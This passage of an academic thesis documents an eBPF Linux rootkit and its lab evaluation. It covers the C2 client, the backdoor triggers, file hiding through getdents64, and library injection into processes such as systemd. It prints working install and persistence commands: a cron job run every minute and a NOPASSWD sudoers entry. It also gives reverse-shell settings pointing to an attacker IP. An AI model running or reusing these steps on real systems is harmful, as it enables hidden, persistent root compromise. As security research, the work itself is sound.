next layer in the kernel.

4.6. Rootkit client

The rootkit client is a CLI program which the attacker can use from its own machine to
communicate with the rootkit remotely over the network and execute commands using the
C2 infrastructure. This section details its functionality and presents how it can be used to
connect to the rootkit.

4.6.1. Client manual

The rootkit client is compiled to a single executable named injector. This file must be run
indicating which operation the attacker wants to issue to the attacker. Figure 4.32 shows
the options which the client has available.

Fig. 4.32. Program options for rootkit client.

As we can observe in the figure, the rootkit client enables to execute the C2 actions
we have described in Section 4.5.2. Upon running any of these options, the client will
first request the network interface to use. This enables the attacker to choose the specific
network to which it can connect to the infected machine.

After choosing an interface, the rootkit client crafts the respective backdoor trigger
and sends it to the infected machine (we have also included an additional non-C2 PoC
showing how the rootkit modifies incoming packets). Every option requires to specify the
infected machine location by indicating its IP address.

After sending a backdoor trigger, the client will enter a listening state, waiting for the
backdoor response. Once a response is received confirming that the remote machine is up
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and the rootkit is installed, the client proceeds to show the user a shell prompt where it
can enter commands. This shell prompt indicates whether we have spawned a plaintext,
encrypted, or phantom pseudo-shell. Figure 4.33 shows an encrypted pseudo-shell after
receiving the backdoor response.

Fig. 4.33. Recently spawned encrypted pseudo-shell.

Once the command prompt appears, the attacker may introduce commands to be ex-
ecuted in the infected machine. Commands may only be introduced one at a time, since
the client waits for the rootkit response before showing another command prompt. When
the attacker finishes using the shell, it is recommended to close the connection gracefully.
For this, the client supports "global commands", a special type of command which, when
introduced in the shell, does not get sent as a command to the rootkit but instead it triggers
an action locally or remotely. Currently, although the infrastructure for supporting a large
list of global commands has been developed, only one has been included. The attacker
may introduce "EXIT" to close the connection gracefully (see in Section 4.5.2, that pack-
ets for closing the connection are sent according to the protocol). Figure 4.34 shows the
execution of multiple commands and closing the connection.

As we can observe in Figure 4.33 and 4.34, the client also introduces multiple mes-
sages which provide additional information to the attacker about the state of the rootkit,
the client and the ongoing connection. The existing message types are INFO, SUCCESS,
WARN and ERROR.

Also, note that the rootkit client needs to be executed as root, since the library RawTCP_
Lib it uses requires privileges for some of its functionalities.
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Fig. 4.34. Execution of commands with encrypted pseudo-shell and closing the connection.

4.6.2. RawTCP_Lib

RawTCP_Lib is the library on which the rootkit client delegates the task of building back-
door triggers, messages according to the rootkit protocol, and sending and receiving pack-
ets. This library is of our own authorship and available publicly [18]).

RawTCP_Lib incorporates the following functionalities:

• Build and customize TCP/IP packets. This includes setting any arbitrary value on
either the TCP or IP headers, enabling to customize every detail of the packet be-
longing to either the network or the transport layer (working with Ethernet headers
is not supported).

• Monitor the incoming network traffic, sniffing all received packets. Additionally,
the library has support for sniffing packets with a certain data pattern in the payload.

• Sending packets over raw sockets [120], which enable us to send packets with our
own custom headers.

Only by using RawTCP_Lib, the rootkit client can craft backdoor triggers whose data
is contained in TCP headers (such as the multi-packet trigger). This gives us a great
amount of freedom at the time of designing hidden messages.

Apart from this, since raw sockets are indicated for reimplementing network proto-
cols in the user space, it allows us to avoid undesired additional traffic in our rootkit
transmissions. For instance, we do not need a 3-way handshake preceding any of our
transmissions.

Finally, the sniffing capabilities of this library are responsible of capturing the re-
sponses of the rootkit from the rootkit client. If we observe Table 4.8, 4.9 and 4.10, we
can appreciate that the headers start at a common prefix "CC". This is used by the rootkit
to sniff the network and capture any packet whose payload starts with that pattern.
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4.7. Rootkit user space program

This section overviews the design and architecture of the user program that is launched
with the rootkit. Its main responsibility is loading and attaching the eBPF programs when
the rootkit is executed, and of managing any further request of attaching or detaching
programs during runtime that the backdoor may issue. Also, it interacts with the eBPF
programs at the kernel in order to provide user space-only functionalities, such as execut-
ing commands.

4.7.1. Ring buffer communication

The user space rootkit program communicates with the other components of the rootkit
using two different means:

• A ring buffer, to which the program subscribes so that any new element written into
it results in an event on the user program. Therefore it enables kernel to user space
communication.

• Other eBPF maps, on which the user program can write from the user space, thus
enabling user to kernel communication.

In particular, the backdoor will be the responsible of most of the data written at the ring
buffer, using it to request the actions corresponding to the commands received through the
network (although the library injection module uses it too, see Figure 4.7.

Any data written into the ring buffer is encapsulated in an "event", embodied by a
struct rb_event. This struct supports all types data that any program using the ring buffer
will need (thus not all of them are filled). In order to let the user program know which
fields will need to be read for a given event, each rb_event is marked with an attribute
event_type, which denotes the type of data that has been written in the buffer, and an
attribute code, that further distinguishes events from the same type into their purpose.
Table 4.11 shows the event types and codes recognized by the user program:

4.7.2. eBPF programs configuration

During the development of the rootkit, it has been our priority to aim for the greatest
modularity and extensibility in order to facilitate the development of new rootkit mod-
ules, whilst at the same time enabling the possibility of attaching or detaching eBPF
programs at runtime. Because of this we can find that, internally, the user space pro-
gram of the rootkit divides into different modules the available programs depending on
the functionality they implement. Table 4.12 shows this classification.

In order to load and attach eBPF programs with different parameters and to enable
managing them at runtime, the user space program uses the eBPF program configurator.
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EVENT TYPE CODE ACTION REQUESTED
INFO (0) Any Informative message, not requesting an action.

DEBUG (1) Any Debug message. Event currently deactivated.
ERROR (2) Any Reports an error from the kernel space. Event

currently deactivated.
EXIT (3) Any Requests to stop the rootkit completely. Event

currently deactivated.
COMMAND (4) 0 Requests to initiate an encrypted pseudo-shell.
COMMAND (4) 1 Requests to activate all hooks in the rootkit.
COMMAND (4) 2 Requests to deactivate all hooks in the rootkit.

PSH_UPDATE (5) Any New packet with a phantom protocol header
was received.

Table 4.11. Events and their classification in the ring buffer.

FILE MODULE
fs_module Contains programs related to reading and

writing files, such as the privilege escalation
module.

exec_module Contains programs related to the execution of
user programs, such as from the execution

hijacking module.
injection_module Contains programs with the implementation of

techniques related to memory injection,
including the two stack scanning techniques

for library injection.
xdp_module Contains programs related to the backdoor

functionality.

Table 4.12. Classification of eBPF programs from the user space.
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This configurator consists of two configuration structs and an API that allows for manip-
ulating the eBPF programs state dynamically. Code snippets 4.1 and 4.2 show these two
structures.

CODE 4.1. Program configurator struct with list of modules.

1 module_config_t module_config = {

2 .xdp_module = {

3 .all = ON,

4 .xdp_receive = OFF

5 },

6 .fs_module = {

7 .all = ON,

8 .tp_sys_enter_read = OFF,

9 .tp_sys_exit_read = OFF,

10 .tp_sys_enter_openat = OFF,

11 .tp_sys_enter_getdents64 = OFF,

12 .tp_sys_exit_getdents64 = OFF

13 },

14 .exec_module = {

15 .all = ON,

16 .tp_sys_enter_execve = OFF

17 },

18 .injection_module = {

19 .all = ON,

20 .sys_enter_timerfd_settime = OFF,

21 .sys_exit_timerfd_settime = OFF

22 }

23 };

CODE 4.2. Program configurator struct with attributes for each module.

1 module_config_attr_t module_config_attr = {

2 .skel = NULL,

3 .xdp_module = {

4 .ifindex = -1,

5 .flags = -1

6 },

7 .fs_module = {},

8 .exec_module = {},

9 .injection_module = {}

10 };

As we can observe in the snippets, one struct enables to define whether a module
as a whole will be loaded and attached (with the setting "all") while also allowing for
only loading specific eBPF programs within that module. On the other hand, the second
struct contains relevant attributes which are needed during the attaching process of the
eBPF program. For instance, we can see that the xdp_module requires and ifindex, which
corresponds to the network interface to which the XDP module must be attached. These
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settings are set at runtime, since its value depends on the options with which the attacker
executes the rootkit.

The user space rootkit program can modify any of the struct values following a request
from the kernel eBPF programs. After setting the new values, it uses the configurator API
to reload all eBPF programs. Table 4.13 shows the available functions of the program
configurator.

FUNCTION DESCRIPTION
unhook_all_modules() Detaches all eBPF programs.
setup_all_modules() Parses the configuration structs and attaches them eBPF

programs according to the specified configuration.

Table 4.13. API of the program configurator.

Therefore, the user space rootkit program will need to follow the next steps for loading
and attaching the rootkit eBPF programs:

• Set as ’ON’ those modules or specific programs that want to be attached in the
module_config struct.

• Load the appropriate value into the configuration attributes at the struct module_
config_attr.

• Run the unhook_all_modules() function if this is not the first time that the rootkit is
attaching the eBPF programs (it is not needed the first time right after the rootkit is
executed, since programs are not attached yet).

• Run the setup_all_modules() function to parse the configuration set in the structs
and load and attach the eBPF modules and programs appropriately.

4.8. Rootkit persistence

As we introduced in Section 1.1, one of the key features of a rootkit is its persistence,
aiming to maintain the infection for the longest period of time possible, including getting
through shutdown events. Initially, when the machine is rebooted, all our eBPF pro-
grams will be unloaded from the kernel, and the user space rootkit program will be killed.
Moreover, even if they could be run again automatically, they would no longer dispose of
the root privileges needed for attaching the eBPF programs again. Therefore, the rootkit
persistence module aims to tackle these two challenges:

• Execute the rootkit automatically and without user interaction after a machine re-
boot event.

• Once the rootkit has acquired root privileges the first time it is executed in the
machine, it must keep them including after a reboot.
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4.8.1. Automatic rootkit execution

The rootkit will use the cron system [121] for being automatically executed after the
machine is booted. This system allows Linux users to execute jobs (scripts, commands...)
periodically, specifying the time interval at which they must be run.

The cron system is made up of two main components. On one hand, the cron service
daemon is in charge of monitoring the cron configuration files, and triggering the cor-
responding actions at the specified time. A daemon consits on a process running in the
background, that is started usually at boot time [122], such is the case of cron.

On the other hand, the jobs that cron will run (cron jobs) must be specified on either
the /etc/crontab file, or in files inside the /etc/cron.d directory, written in a special cron
format.

In our rootkit, we will specify the rootkit cron jobs in a file named /etc/cron.d/ebpfbackdoor.
This file is created and written by the script deployer.sh which, as we mentioned in Sec-
tion 4.1, is an script to be run by the attacker to automatize the process of infecting the
machine. Code snippet 4.3 shows the content of the deployer.sh script.

CODE 4.3. Script deployer.sh.

1 ## Persistence

2 declare -r CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/

TFG/apps/deployer.sh"

3 declare -r SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"

4 echo $CRON_PERSIST > /etc/cron.d/ebpfbackdoor

5 echo $SUDO_PERSIST > /etc/sudoers.d/ebpfbackdoor

6

7 # Rootkit install

8 OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)

9 if [[ $OUTPUT_COMM == *"xdp"* ]]; then

10 echo "Rootkit is already installed"

11 else

12 #Install the programs

13 echo -e "${BLU}Installing TC hook${NC}"

14 /bin/sudo tc qdisc del dev enp0s3 clsact

15 /bin/sudo tc qdisc add dev enp0s3 clsact

16 /bin/sudo tc filter add dev enp0s3 egress bpf direct-action obj "

$BASEDIR"/tc.o sec classifier/egress

17 /bin/sudo "$BASEDIR"/kit -t enp0s3 &

18 fi

As we can observe in its contents, the script will take care of the installation process
of the rootkit. For this, it will first check whether there exists any XDP program loaded.
If there is any, it is assumed that it belongs to the rootkit backdoor and thus the process is
halted. Otherwise, the rootkit is installed:

• We remove any previous existing qdisc, followed by creating the new qdisc for the
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TC program, which is created and attached to network interface enp0s3. This step
was explained in Section 2.3.2.

• We attach the TC program to the newly created qdisc.

• We execute the main file (kit) of the rootkit, specifying the network address for the
XDP program to use. This will launch the user space rootkit program, which will
load and attach the eBPF programs in the kernel.

Also, as we mentioned, the deployer.sh script takes care of the rootkit persistence
by writing an entry into the file /etc/cron.d/ebpfbackdoor. Code snippet 4.4 shows the
outcome of the data written into this file.

CODE 4.4. Content of /etc/cron.d/ebpfbackdoor.

1 * * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh

The meaning of each of the parameters specified, according to the format of cron files,
is the following:

• The first 5 arguments indicate the periodicity of the execution of the specified com-
mand. In order of appearance, these parameters are the following:

1. Minute.

2. Hour.

3. Day.

4. Month.

5. Day of week.

• The second argument specifies the user under which to run the command.

• Third argument is the command to execute.

Therefore, by specifying the symbol ’*’ for each of the periodicity fields, the script
deployer.sh will be run for every minute of every hour, every day of every month. In other
words, it will be executed once for every minute that the machine is on. With respect to
the command, the attacker needs to update the path by specifying the location at which
it wants to hide the rootkit in the infected machine. As we can observe, it is also being
run with sudo, since the script needs sudo privileges for executing the rootkit installation
process.

Considering the above, we can see that, after a machine reboot event, the cron daemon
will read the /etc/cron.d/ebpfbackdoor file and execute the deployer.sh script once every
minute. Once it is run, the script will check if the rootkit is installed and, if it is not,
proceed to execute the rootkit programs.
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4.8.2. Preserving privileges

As we mentioned in the previous section, the deployer.sh script will need to be executed
as sudo, since it needs root privileges for installing the rootkit. However, after a reboot,
the privilege escalation module of the rootkit will not be installed yet, and therefore the
script needs some other way of achieving the needed permissions.

For this, as we can observe in Code snippet 4.3, the deployer.sh script will write a sudo
entry in the sudoers.d directory, in a new file /etc/sudoers.d/ebpfbackdoor. This directory
is used by the sudo system in conjunction of the /etc/sudoers file we described in Section
4.3.1, so that the rootkit can keep its original root privileges after a system reboot. The
entry that will be written into the file is identical to that we introduced in hijacked read
accesses to the /etc/sudoers file.

Therefore, after a reboot, the cron daemon will run the deployer.sh script with sudo.
The sudo process will find that it has sudo privileges, and thus it will be executed as root.

Figures 4.35 and 4.36 illustrate the overall process we have described.

Fig. 4.35. Installation of the rootkit using deployer.sh script.

As we can observe in the figures, the initial execution permission and root privileges of
the attacker in the machine are persisted into the system with the /etc/cron.d/ebpfbackdoor
and /etc/sudoers.d/ebpfbackdoor files. After a reboot, these files emulate the role of the at-
tacker by using the cron daemon and sudo process respectively to execute the deployer.sh
script again with root privileges.
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Fig. 4.36. Installation of the rootkit using the persistence mechanism after a reboot.

4.9. Rootkit stealth

In Section 4.8, we presented the mechanisms used by the rootkit to persist the infection of
the machine after a reboot event. However, since it is based on creating additional files,
they may get eventually found by the system owner or by some software tool, so there
exists a risk on leaving them in the system. Additionally, the rootkit files will need to be
stored at some location, in which they may get discovered.

Therefore, it is in our interest to prevent the user from accessing any of the files be-
longing to the rootkit, either the executables or the files for persistence. Because of this
reason, we will attempt to achieve two goals:

• Hide a directory completely from the user (so that we can hide all rootkit files
inside).

• Hide specific files in a directory (we need to hide the ebpfbackdoor files, but we
cannot hide the sudoers.d or cron.d directories completely, since they belong to the
normal system functioning.

4.9.1. Reading directories in Linux

The system call responsible of reading the files and subdirectories in a directory is sys_
getdents64 [123]. This system call reads the entries from a directory (files, subdirectories,
links) and writes them as an array in a user space buffer so that the user program can iterate
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over it. Each of the entries are formatted as a linux_dirent64 struct [124] [125].

The arguments of the sys_getdents64 syscall are listed in Table 4.14. The linux_
dirent64 format is shown in Table 4.15.

ARGUMENT DESCRIPTION
unsigned int fd File descriptor of the directory to read.

struct linux_dirent64 __user *dirent User space buffer to fill with directory
entry data.

unsigned int count Size of buffer dirent.
long <Return value> Returns total number of bytes read by the

system call.

Table 4.14. Arguments and return value of system call sys_getdents64.

ARGUMENT DESCRIPTION
u64 d_ino Inode number of the file
s64 d_off Offset to next linux_dirent64

unsigned short d_reclen Length in bytes of the linux_dirent64
unsigned char d_type File type value

char d_name[] Filename

Table 4.15. Format of struct linux_dirent64.

As we can observe in Table 4.14, sys_getdents64 receives a linux_dirent64 *dirent
argument pointing to a buffer in the user space (it is marked as __user). This buffer is not
of length linux_dirent64, but rather consists of an array of these structs. Moreover, the size
of a linux_dirent64 struct is variable (specifically, the attribute d_name[] is variable, since
the name of a file or a directory is not fixed). In turn, the attribute d_type indicates the
length of each linux_dirent64, so that the user program can know the length of the entry
and iterate over the buffer. Additionally, as indicated in Table 4.14, the sys_getdents64
syscall returns the summatory of the length of all the linux_dirent64 entries in the array,
so that the user program can know which is the final entry in the buffer. Figure 4.37
summarizes this process, illustrating how a user program iterates over the buffer written
by the sys_getdents64 syscall.

As we can observe in the figure, each linux_dirent64 struct has a different length,
however they are positioned aligned in the buffer with respect to a multiple of 4 [126].
Then, using the d_reclen attribute, the user program can iterate over each of the linux_
dirent64 structs, until it reaches a buffer offset equal to that incated as a return value of
the sys_getdents64 syscall.
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Fig. 4.37. User program iterating over array filled by sys_getdents64.

4.9.2. Hijacking sys_getdents64

As we indicated in Table 4.14, the dirent argument in sys_getdents64 is a pointer to a user
space buffer, and therefore an eBPF program can write into it using bpf_probe_write_
user, as we did in other rootkit modules.

Since we are interested on hiding particular files and directories from the user space,
we can take advantage of our writing capabilities at the user buffer to overwrite the d_
reclen attribute of specific linux_dirent64 entries. By doing this, we can trick a user
program into believing that an entry is larger than it is, thus skipping some other entry.
This technique has been widely discussed for rootkits by many authors [127], whilst it
was firstly introduced for eBPF rootkits by Johann Rehberger [128].

Similarly to what happened in the privilege escalation module in Section 4.3, we aim
to overwrite the buffer, but we must first wait for it to be filled during the system call,
so we must use an exit eBPF tracepoint. However, since from this tracepoint we only
have access to the return value of the syscall, we must previously save the address of the
buffer into an eBPF map from an enter tracepoint, so that it can be retrieved form the exit
tracepoint.

As we mentioned, we will overwrite the value of d_reclen of the previous entry to that
we want to hide, so that the new d_reclen equals to the original plus the d_reclen of the
hidden entry. Figure 4.38 shows this technique.

As we can observe in the figure, by modifying the value of d_reclen, the user program
will skip the entry of file "hideme", and therefore any process listing the available entries
of the directory will not show this file.

Apart from detecting entries by their name, we can also know whether an entry is a
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Fig. 4.38. Technique to hide a directory entry.

file, a directory or of some other type. For this, our rootkit uses the attribute d_type of
the linux_dirent64 (see Table 4.15), whose value determines the type of file. The most
relevant values of the d_type attribute are shown in Table 4.16 [129].

VALUE DESCRIPTION
DT_DIR (4) Directory
DT_REG (8) Regular file

DT_LNK (10) Symbolic link

Table 4.16. Relevant values for d_type in linux_dirent64.

Therefore, our rootkit will hide the following entries when found in a linux_dirent64:

Also, it is of interest to study what would happen if the directory entry to hide was not
in the middle of the buffer, but rather it was the first one to be written. In this case, we
cannot modify the d_reclen of the previous entry to trick the user into skipping an entry.
In order to illustrate this case, we are providing another technique (although this func-
tionality is not available in the rootkit currently). Figure 4.39 illustrates this alternative
process.

As we can observe in the figure, this technique is based on removing the directory
entry completely and overwriting it with all of the subsequent entries. After this change,
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d_name d_type PURPOSE
ebpfbackdoor DT_DIR (8) Hide persistence files.
SECRETDIR DT_REG (4) Secret directory where the rootkit hides its files.

Table 4.17. Directory entries actively hidden by the rootkit.

only the return value of the system call would need to be changed (since now the buffer is
shorter).

Fig. 4.39. Technique to hide the first directory entry.
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5. EVALUATION

This chapter evaluates the malicious capabilities developed in our rootkit by compar-
ing them to the original objectives we presented at the beginning of our research in Sec-
tion 1.2. For this, we will analyse whether our rootkit meets the expected functionality by
simulating a machine infection in a virtualized environment. A rootkit functionality will
be considered fulfilled in the case it can be reproduced successfully in the experimental
environment.

As we mentioned, the following are the functionalities we seeked to implement in our
rootkit:

• Hijacking the execution of user programs while they are running, injecting libraries
and executing malicious code, without impacting their normal execution.

• Featuring a command-and-control module powered by a network backdoor, which
can be operated from a remote client. This backdoor should be controlled with
stealth in mind, featuring similar mechanisms to those present in rootkits found in
the wild.

• Tampering with user data at system calls, resulting in running malware-like pro-
grams and for other malicious purposes.

• Achieving stealth, hiding rootkit-related files from the user.

• Achieving rootkit persistence, the rootkit should run after a complete system reboot.

5.1. Experimental setting

The test environment that will be used to showcase the rootkit functionalities consists on
two virtual machines running under Oracle VM VirtualBox [130]. One of them will be
the host infected with the rootkit, while the other will be used as the attacker machine
from which to operate the rootkit client.

Both virtual machines will be connected via a bridged adapter, as Figure 5.1 shows.
With this virtual networking setting, the virtual machines connect to a device driver of
the host system which injects the data received from the physical network [131]. From
the virtual machine point of view, both the attacker and the infected machine appear to
be physically connected (via a network cable) to the same network interface, each with a
different assigned IP address. The name of this interface will be "enp0s3".

Table 5.1 shows the role and charactersitics of the two machines. The overall test
environment configuration with the described settings is illustrated in Figure 5.2.
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Fig. 5.1. Network settings for both of the VMs on the test environment.

INFECTED MACHINE
Attribute Value

User osboxes
Operating

System
GNU/Linux

Distribution Ubuntu 21.04
Kernel version 5.11.0-49

IP address 192.168.1.124

ATTACKER MACHINE
Attribute Value

User RED
Operating

System
GNU/Linux

Distribution Ubuntu 18.04
Kernel version 5.4.0-96

IP address 192.168.1.127

Table 5.1. Configuration of virtual machines in the test environment.

Fig. 5.2. Network topology of test environment.

5.2. Rootkit compilation and installation

This section details the steps for a successful compilation and installation fo the rootkit
in the target machine. Note that there also exist two scripts packager.sh and deployer.sh
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which automatize this process, but these are best indicated for an attacker which wants to
quickly assemble the rootkit system, as we will explain in Section 5.3.

5.2.1. Compilation

The rootkit source code incorporates two Makefile files that automatize the compilation
process with the command make. Table 5.2 details the location of the multiple Makefiles
that must be executed to compile the different modules of the rootkit (note that in Section
4.1 we described the rootkit files and their purpose in detail).

MAKEFILE COMMAND DESCRIPTION RESULT
src/client/
Makefile

make Compilation of the
rootkit client

src/client/ injector

src/Makefile make help Compilation of
programs for testing

rootkit functionalities,
and the malicious

program and library of
the execution hijacking

and library injection
modules respectively

src/helpers/simple_timer,
src/helpers/simple_open,

src/helpers/simple_
execve, src/helpers/lib_

injection.so,
src/helpers/execve_hijack

src/Makefile make kit Compilation of the
rootkit using the libbpf

library

src/bin/kit

src/Makefile make tckit Compilation of the
rootkit TC egress

program

src/bin/tc.o

Table 5.2. Rootkit compilation Makefiles.

As we can observe in the table, there are two Makefiles:

• A Makefile under src/client to compile only the rootkit client.

• A Makefile under src to compile all rootkit files.

Therefore, the complete compilation process would consist on the commands shown
in Code snippet 5.1.

CODE 5.1. Rootkit and rootkit client compilation.

1 //Rootkit files

2 cd src

3 make

4 //Rootkit client
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5 cd client

6 make

The output programs corresponding to the rootkit will be stored under a directory
src/bin, while those belonging to helper and client programs will be stored together with
the corresponding source code.

It must also be noted that, although the rootkit backdoor and C2 capabilities work out
of the box, the rest of the rootkit modules need further configuration. This configuration
is set via the src/common/constants.h file, and during the rest of this evaluation we will
detail the relevant settings for each individual module.

5.2.2. Installation

Once the rootkit programs are compiled, the tc.o and kit programs must be loaded orderly.
Code snippet 5.2 shows the commands to execute for installing the rootkit.

CODE 5.2. Rootkit installation steps.

1 //TC egress program

2 sudo tc qdisc add dev enp0s3 clsact

3 sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o

sec classifier/egress

4 //Libbpf-powered rootkit

5 sudo ./bin/kit -t enp0s3

Note that the network interface enp0s3 may be substituted with any other interface on
which the attacker desires the backdoor to be operating.

Finally, we should create the files that guarantee the rootkit persistence, as shown in
Code snippet 5.3.

CODE 5.3. Creation of rootkit persistence files.

1 echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/src/helpers/

deployer.sh" > /etc/cron.d/ebpfbackdoor

2 echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/

ebpfbackdoor

The name of the user "osboxes" should be changed by that of the user of the machine
to infect, together with the path on which the deployer.sh script will be hidden.

5.3. Attack scenario

Although the steps presented in Section 5.2 were followed during the rootkit development,
an attacker which has compromised a machine and wants to install the rootkit may benefit
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from a more automated process that quickly prepares all files and installs them in the
target machine.

This section presents an hypothetical attack scenario, covering each of the steps the
attacker must follow in order to prepare the rootkit and infect a machine:

A security researcher called ’RED’ has managed to exploit a high-severity RCE vul-
nerability in a critical system controlled by an adversary which was found exposed to the
Internet (e.g.: not behind a NAT [132]). After this exploitation, RED has now spawned
a reverse shell connection with the privileged user ’osboxes’, but he knows that the sys-
tem is often rebooted and that he may lose access soon. Furthermore, the vulnerability
he exploited is already well-known and may get patched in the near future, so he needs
to persist his access. RED decides to load a classic rootkit consisting of a malicious
kernel module, but he finds out that this capability is restricted in the system (e.g.: ker-
nel.modules_disabled=1 [133]), so he must find an alternative approach. Also, it is very
possible that the system has an EDR logging events such as loading a kernel module
(which almost assuredly will be considered by the EDR given that it is a very relevant
event), so he needed to find a more stealthy path anyway. At some point, RED realises
that even if kernel modules could not be used, the system administrator did not block
eBPF, so he decides to use TripleCross.

Firstly, RED creates a secret directory where to hide the rootkit, and downloads it, as
shown in Figure 5.3.

Fig. 5.3. Creation of hidden directory and downloading rootkit.

Once it is downloaded, RED executes the packager.sh script, that will compile the
rootkit. Alternatively, an attacker could have compiled it locally and sent it to the remote
machine afterwards.

After the script execution finishes, a folder apps has been generated with all the rootkit
files. This directory contains all the files and scripts needed for the rootkit installation.
RED now executes the deployer.sh script, which installs the rootkit and writes the persis-
tence files, as shown in Figure 5.4

Once the script has been executed, all rootkit modules are loaded and the backdoor is
already waiting for commands. RED can now close the reverse shell and open the rootkit
client. He now has persistent privileged access to the infected machine.
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Fig. 5.4. Files created by packager.sh and execution of deployer.sh.

5.4. Hijacking execution of running processes

Following the infection process described in Section 5.3, The rootkit can hijack the exe-
cution of running processes by means of the library injection module. This module incor-
porates two sample programs (src/helpers/simple_timer.c and src/helpers/simple_open.c),
both containing the execution of one of the hijacked syscalls (sys_timerfd_settime and
sys_openat respectively). Additionally, the functionality can be tested in any process of
the infected machine by changing its settings. Table 5.3 shows how to customize the
functionality of the library injection module.

FILENAME CONSTANT DESCRIPTION
src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_
TIMERFD_SETTIME

Name of process to hijack at
syscall sys_timerfd_settime.

src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_

OPEN

Name of process to hijack at
syscall sys_openat.

src/helpers/
injection_lib.c

ATTACKER_IP &
ATTACKER_PORT

IP address and port of attacker
machine

Table 5.3. Library injection module configuration.

After a successful injection the malicious library will run a reverse shell against the
attacker machine. Also, it will print a message for us to check it locally. Therefore, from
the attacker machine, we will listen to the specified IP and port, considering the injection
successful if a connection is opened.

5.4.1. Test program simple_timer

Table 5.4 shows the module configuration for running this attack.

Figure 5.5 shows the execution of the simple_timer process without the rootkit in-
stalled.
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FILENAME CONSTANT VALUE
src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_
TIMERFD_SETTIME

"simple_timer"

src/helpers/
injection_lib.c

ATTACKER_IP &
ATTACKER_PORT

192.168.1.127 & 5555

Table 5.4. Library injection module configuration for attacking simple_
timer.c.

Fig. 5.5. Normal execution of simple_timer program.

Once the rootkit is installed it starts the module automatically, looking for system calls
from the simple_timer process. The attacker must in the mean time start a listener (e.g.:
with netcat), as shown in Figure 5.6.

Fig. 5.6. Attacker waiting for a connection with netcat.

Then, the simple_timer program gets executed on the infected machine. As we can
observe in Figure 5.7, the injection suceeds and a message is printed from the library.

Figure 5.8 shows the attacker connected to the reverse shell launched from the library.

5.4.2. Test program simple_open

The library injection module can also be tested with the simple_timer program, which
opens multiple files with sys_openat. The rootkit configuration for this is shown in Table
5.5.

As we can observe in figure 5.9, when the injection suceeds, a message is printed on
screen. Also, the attacker receives a shell, like we showed in Figure 5.8.
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Fig. 5.7. Execution of simple_timer.c with rootkit active.

Fig. 5.8. Reverse shell received after library injection attack.

FILENAME CONSTANT VALUE
src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_

OPEN

"simple_open"

src/helpers/
injection_lib.c

ATTACKER_IP &
ATTACKER_PORT

192.168.1.127 & 5555

Table 5.5. Library injection module configuration for attacking simple_
open.c.

Fig. 5.9. Execution of simple_open with rootkit active.

141



CHAPTER 5 5.4. HIJACKING EXECUTION OF RUNNING PROCESSES

5.4.3. Hijacking systemd

Apart from the test programs, the library injection module can also inject the malicious
library on any process of the system that makes use of either sys_openat or sys_timerfd_
settime. By hijacking privileged system programs such as systemd, the malicious library
can achieve automatic root permissions once it is run (although these are anyways au-
tomatically granted via the privilege escalation module). Table 5.6 shows the module
configuration for running an attack against this process.

FILENAME CONSTANT VALUE
src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_
TIMERFD_SETTIME

"systemd"

src/common/
constants.h

TASK_COMM_NAME_
INJECTION_TARGET_OPEN

"systemd"

src/helpers/
injection_lib.c

ATTACKER_IP &
ATTACKER_PORT

192.168.1.127 & 5555

Table 5.6. Library injection module configuration for attacking the
systemd process.

With these configurations, we can run the rootkit and wait for systemd to call one of
these syscalls. Eventually this call occurs, and using the debug messages of the rootkit
we can get information on what happened, as shown in Figure 5.10.

Fig. 5.10. Rootkit debug messages showing library injection.

As we can observe in the figure, the rootkit finds the relevant addresses via the tech-
nique we described on Section 4.2 and proceeds to overwrite the GOT address. The library
is loaded and executed, and since systemd is executed by the root user, the attacker re-
ceives a root shell as shown in Figure 5.11. Most importantly, the systemd process does
not crash after this attack.

Fig. 5.11. Reverse shell received with root user after systemd library injection.
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5.5. Backdoor and C2

The backdoor module works out of the box without any additional configurations needed.
It includes the C2 capabilities and the rootkit client used to communicate with the back-
door. As we described in Section 4.6.1, the client allows for the operations listed on Table
5.7.

PROGRAM
ARGUMENTS

ACTION DESCRIPTION

./injector -c <Victim IP> Spawns a plaintext pseudo-shell by using the
execution hijacking module.

./injector -e <Victim IP> Spawns an encrypted pseudo-shell by
commanding the backdoor with a pattern-based

trigger.
./injector -s <Victim IP> Spawns an encrypted pseudo-shell by

commanding the backdoor with a multi-packet
trigger (of both types).

./injector -p <Victim IP> Spawns a phantom shell by commanding the
backdoor with a pattern-based trigger.

./injector -a <Victim IP> Orders the rootkit to activate all eBPF programs.

./injector -a <Victim IP> Orders the rootkit to detach all of its eBPF
programs.

./injector -S <Victim IP> Showcases how the backdoor can hide a message
from the kernel.

./injector -h Displays help.

Table 5.7. Rootkit client options.

Once the rootkit is installed, the backdoor is launched automatically and will wait for
backdoor triggers ready to launch the corresponding requested actions.

5.5.1. Spawning encrypted pseudo-shells

Encrypted pseudo-shells can be spawned using the rootkit client either with pattern-based
or multi-packet backdoor triggers.

Pattern-based triggers
When using a pattern-based trigger, the attacker must indicate the following information:

• The IP address of the infected machine.

• The network interface to use for sending the trigger.
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As Figure 5.12 shows, the backdoor executes the requested action and starts an en-
crypted pseudo-shell connection with privileged permissions in which the attacker can
introduce commands to be executed. Whenever the connection shall be closed, the at-
tacker introduces the "EXIT" global command (as we explained in Section 4.6.1), which
ends the transmission gracefully.

Fig. 5.12. Encrypted pseudo-shell with rootkit client using pattern-based trigger.

Multi-packet triggers
The rootkit client offers multiple options when using the multi-packet backdoor triggers.
In particular, the attacker must specify the following fields:

• The IP address of the infected machine.

• The network interface to use for sending the trigger.

• Whether to hide the payload at the TCP sequence numbers or at the TCP source
port.

Figure 5.13 shows how the rootkit client asks for this data and spawns an encrypted
pseudo-shell with the client when hiding the payload at the TCP sequence number. As
we can observe in the figure, the payload is divided in 3 different chunks and injected to
a stream of packets, which are sent in an orderly manner.

Figure 5.14 shows the same process but using the TCP source port as a means for
hiding the data payload. As we can observe in the figure, in this case the paylaod is
divided in 6 chunks.
